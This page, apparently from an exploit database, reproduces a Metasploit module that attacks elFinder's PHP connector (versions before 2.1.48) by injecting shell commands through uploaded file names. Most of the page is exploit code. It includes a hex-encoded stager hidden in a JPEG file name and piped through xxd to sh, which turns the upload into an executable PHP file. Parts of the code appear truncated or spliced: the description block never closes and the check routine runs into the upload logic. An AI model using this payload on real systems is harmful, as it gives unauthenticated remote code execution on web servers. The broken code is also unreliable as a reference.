Exploits / Vulnerability Discovered : 2019-03-13 |
Type : remote |
Platform : php
This exploit / vulnerability Elfinder php connector < 2.1.48 exiftran command injection (metasploit) is for educational purposes only and if it is used you will do on your own risk!
[+] Code ...
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
def initialize(info = {})
super(update_info(info,
'Name' => 'elFinder PHP Connector exiftran Command Injection',
'Description' => %q{
This module exploits a command injection vulnerability in elFinder
versions prior to 2.1.48.
The PHP connector component allows unauthenticated users to upload
files and perform file modification operations, such as resizing and
rotation of an image. The file name of uploaded files is not validated,
allowing shell metacharacters.
When performing image operations on JPEG files, the filename is passed
to the `exiftran` utility without appropriate sanitization, causing
shell commands in the file name to be executed, resulting in remote
command injection as the web server user.
The PHP connector is not enabled by default.
The system must have `exiftran` installed and in `$PATH`.
register_options [
OptString.new('TARGETURI', [true, 'The base path to elFinder', '/elFinder/'])
]
end
#
# Check if /php/connector.minimal.php exists and is executable
#
def check
uri = normalize_uri(target_uri.path, 'php', 'connector.minimal.php')
res = send_request_cgi('uri' => uri)
unless res
vprint_error 'Connection failed'
return CheckCode::Unknown
end
unless res.code == 200
vprint_status "#{uri} does not exist"
return CheckCode::Safe
end
if res.body.include? '<?php'
vprint_status 'PHP is not enabled'
return CheckCode::Safe
end
# Max file name length is ~250 characters
# and characters such as `/` are forbidden.
# Hex encoded stager copies the uploaded file from the `files` directory
# to the working directory (`php`) and changes the extension to `.php`
# The stager is decoded with xxd when the vuln is triggered.
stager = "cp ../files/#{fname}.jpg*echo* #{php_fname}"
# Upload our payload jpg file with encoded stager in the filename
jpg_fname = "#{fname}.jpg;echo #{stager.unpack('H*').flatten.first} |xxd -r -p |sh& #.jpg"
@hash = upload jpg_fname
if @hash.to_s == ''
fail_with Failure::Unknown, 'Upload failed: Failed to retrieve file hash ID'
end